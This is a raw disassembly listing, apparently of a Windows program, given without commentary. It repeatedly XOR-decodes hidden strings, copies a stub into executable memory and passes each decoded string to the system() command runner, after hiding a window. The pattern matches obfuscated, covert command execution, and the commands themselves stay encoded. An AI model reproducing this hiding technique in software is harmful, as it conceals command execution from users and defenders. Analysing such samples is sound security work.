mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dcce7
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dce00
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dcd38
mov r8, r14
jmp 0x1400dcdd1
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dcd4b
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
movups xmm0, xmmword [0x140152c18]
movups xmmword [rbp + 0x11e8], xmm0
movups xmm1, xmmword [0x140152c28]
movups xmmword [rbp + 0x11f8], xmm1
movsd xmm0, qword [0x140152c38]
movsd qword [rbp + 0x1208], xmm0
mov eax, dword [0x140152c40]
mov dword [rbp + 0x1210], eax
movzx eax, word [0x140152c44]
mov word [rbp + 0x1214], ax
mov r8d, r14d
lea r9, [rbp + 0x11e8]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x2e
jl 0x1400dd457
lea rax, [rbp + 0x11e8]
mov qword [rbp + 0xd8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x800], xmm0
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x808], rcx
lea rax, [rbp + 0x2ce8]
mov qword [rbp + 0x810], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp + 0x800], rbx
mov qword [rax], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dd518
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dd507
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dd4ee
jmp 0x1400dd518
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dd607
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dd53f
mov r8, r14
jmp 0x1400dd5d8
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dd552
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xd8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152c50]
movaps xmmword [rbp + 0x1c10], xmm0
movaps xmm1, xmmword [0x140152c60]
movaps xmmword [rbp + 0x1c20], xmm1
movaps xmm0, xmmword [0x140152c70]
movaps xmmword [rbp + 0x1c30], xmm0
movaps xmm1, xmmword [0x140152c80]
movaps xmmword [rbp + 0x1c40], xmm1
movaps xmm0, xmmword [0x140152c90]
movaps xmmword [rbp + 0x1c50], xmm0
movsd xmm0, qword [0x140152ca0]
movsd qword [rbp + 0x1c60], xmm0
mov eax, dword [0x140152ca8]
mov dword [rbp + 0x1c68], eax
mov r8d, r14d
lea r9, [rbp + 0x1c10]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x5c
jl 0x1400dd69c
lea rax, [rbp + 0x1c10]
mov qword [rbp + 0xe0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x818], xmm0
mov qword [rbp + 0x820], r11
mov qword [rbp + 0x828], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x818], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dd74c
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dd73b
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dd722
jmp 0x1400dd74c
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dd83b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dd773
mov r8, r14
jmp 0x1400dd80c
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dd786
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152cb0]
movaps xmmword [rbp + 0x1a80], xmm0
movaps xmm1, xmmword [0x140152cc0]
movaps xmmword [rbp + 0x1a90], xmm1
movaps xmm0, xmmword [0x140152cd0]
movaps xmmword [rbp + 0x1aa0], xmm0
movaps xmm1, xmmword [0x140152ce0]
movaps xmmword [rbp + 0x1ab0], xmm1
movaps xmm0, xmmword [0x140152cf0]
movaps xmmword [rbp + 0x1ac0], xmm0
movaps xmm1, xmmword [0x140152d00]
movaps xmmword [rbp + 0x1ad0], xmm1
movzx eax, word [0x140152d10]
mov word [rbp + 0x1ae0], ax
mov al, byte [0x140152d12]
mov byte [rbp + 0x1ae2], al
mov r8d, r14d
lea r9, [rbp + 0x1a80]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x63
jl 0x1400dd8dc
lea rax, [rbp + 0x1a80]
mov qword [rbp + 0xe8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x830], xmm0
mov qword [rbp + 0x838], r11
mov qword [rbp + 0x840], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x830], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400dd98c
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dd97b
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dd962
jmp 0x1400dd98c
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dda7b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dd9b3
mov r8, r14
jmp 0x1400dda4c
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dd9c6
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xe8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152d20]
movaps xmmword [rbp + 0x1de0], xmm0
movaps xmm1, xmmword [0x140152d30]
movaps xmmword [rbp + 0x1df0], xmm1
movaps xmm0, xmmword [0x140152d40]
movaps xmmword [rbp + 0x1e00], xmm0
movaps xmm1, xmmword [0x140152d50]
movaps xmmword [rbp + 0x1e10], xmm1
movaps xmm0, xmmword [0x140152d60]
movaps xmmword [rbp + 0x1e20], xmm0
movsd xmm0, qword [0x140152d70]
movsd qword [rbp + 0x1e30], xmm0
mov r8d, r14d
lea r9, [rbp + 0x1de0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x58
jl 0x1400ddb04
lea rax, [rbp + 0x1de0]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x848], xmm0
mov qword [rbp + 0x850], r11
mov qword [rbp + 0x858], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x848], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400ddbb4
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400ddba3
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400ddb8a
jmp 0x1400ddbb4
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400ddca3
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400ddbdb
mov r8, r14
jmp 0x1400ddc74
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400ddbee
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xf0]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152d80]
movaps xmmword [rbp + 0x1d70], xmm0
movaps xmm1, xmmword [0x140152d90]
movaps xmmword [rbp + 0x1d80], xmm1
movaps xmm0, xmmword [0x140152da0]
movaps xmmword [rbp + 0x1d90], xmm0
movaps xmm1, xmmword [0x140152db0]
movaps xmmword [rbp + 0x1da0], xmm1
movaps xmm0, xmmword [0x140152dc0]
movaps xmmword [rbp + 0x1db0], xmm0
movaps xmm1, xmmword [0x140152dd0]
movaps xmmword [rbp + 0x1dc0], xmm1
mov al, byte [0x140152de0]
mov byte [rbp + 0x1dd0], al
mov r8d, r14d
lea r9, [rbp + 0x1d70]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x61
jl 0x1400ddd36
lea rax, [rbp + 0x1d70]
mov qword [rbp + 0xf8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
mov qword [rbp + 0x868], r11
mov qword [rbp + 0x870], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x860], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400ddde6
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dddd5
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400dddbc
jmp 0x1400ddde6
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400dded5
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dde0d
mov r8, r14
jmp 0x1400ddea6
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dde20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0xf8]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152de8]
movups xmmword [rbp + 0x1540], xmm0
movups xmm1, xmmword [0x140152df8]
movups xmmword [rbp + 0x1550], xmm1
movups xmm0, xmmword [0x140152e08]
movups xmmword [rbp + 0x1560], xmm0
movsd xmm0, qword [0x140152e18]
movsd qword [rbp + 0x1570], xmm0
movzx eax, word [0x140152e20]
mov word [rbp + 0x1578], ax
mov al, byte [0x140152e22]
mov byte [rbp + 0x157a], al
mov r8d, r14d
lea r9, [rbp + 0x1540]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x3b
jl 0x1400ddf5c
lea rax, [rbp + 0x1540]
mov qword [rbp + 0x100], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x878], xmm0
mov qword [rbp + 0x880], r11
mov qword [rbp + 0x888], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x878], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400de00c
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400ddffb
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400ddfe2
jmp 0x1400de00c
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400de0fb
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400de033
mov r8, r14
jmp 0x1400de0cc
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400de046
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152e30]
movaps xmmword [rbp + 0x1c70], xmm0
movaps xmm1, xmmword [0x140152e40]
movaps xmmword [rbp + 0x1c80], xmm1
movaps xmm0, xmmword [0x140152e50]
movaps xmmword [rbp + 0x1c90], xmm0
movaps xmm1, xmmword [0x140152e60]
movaps xmmword [rbp + 0x1ca0], xmm1
movaps xmm0, xmmword [0x140152e70]
movaps xmmword [rbp + 0x1cb0], xmm0
mov eax, dword [0x140152e80]
mov dword [rbp + 0x1cc0], eax
mov r8d, r14d
lea r9, [rbp + 0x1c70]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x54
jl 0x1400de180
lea rax, [rbp + 0x1c70]
mov qword [rbp + 0x108], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x890], xmm0
mov qword [rbp + 0x898], r11
mov qword [rbp + 0x8a0], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x890], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400de230
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400de21f
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400de206
jmp 0x1400de230
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400de31f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400de257
mov r8, r14
jmp 0x1400de2f0
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400de26a
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x108]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movaps xmm0, xmmword [0x140152e90]
movaps xmmword [rbp + 0x1cd0], xmm0
movaps xmm1, xmmword [0x140152ea0]
movaps xmmword [rbp + 0x1ce0], xmm1
movaps xmm0, xmmword [0x140152eb0]
movaps xmmword [rbp + 0x1cf0], xmm0
movaps xmm1, xmmword [0x140152ec0]
movaps xmmword [rbp + 0x1d00], xmm1
movaps xmm0, xmmword [0x140152ed0]
movaps xmmword [rbp + 0x1d10], xmm0
mov eax, dword [0x140152ee0]
mov dword [rbp + 0x1d20], eax
mov r8d, r14d
lea r9, [rbp + 0x1cd0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x54
jl 0x1400de3a4
lea rax, [rbp + 0x1cd0]
mov qword [rbp + 0x110], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x8a8], xmm0
mov qword [rbp + 0x8b0], r11
mov qword [rbp + 0x8b8], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x8a8], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400de454
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400de443
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400de42a
jmp 0x1400de454
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400de543
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
